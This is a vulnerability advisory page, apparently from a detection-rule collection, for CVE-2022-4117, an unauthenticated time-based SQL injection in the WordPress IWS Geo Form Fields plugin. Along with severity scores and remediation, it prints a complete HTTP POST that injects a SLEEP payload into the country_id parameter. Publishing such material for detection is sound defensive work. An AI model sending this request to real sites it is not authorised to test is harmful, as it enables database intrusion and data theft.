🔙 목록으로 돌아가기

CVE-2022-4117: WordPress IWS Geo Form Fields <=1.0 - SQL Injection

TitleWordPress IWS Geo Form Fields <=1.0 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site.
RemediationUpdate to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.83515
CVE IDCVE-2022-4117
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli wordpress wp-plugin wp iws-geo-form-fields wpscan iws-geo-form-fields_project vkev vuln

🔍 Vulnerability Description

WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4117.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4117.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A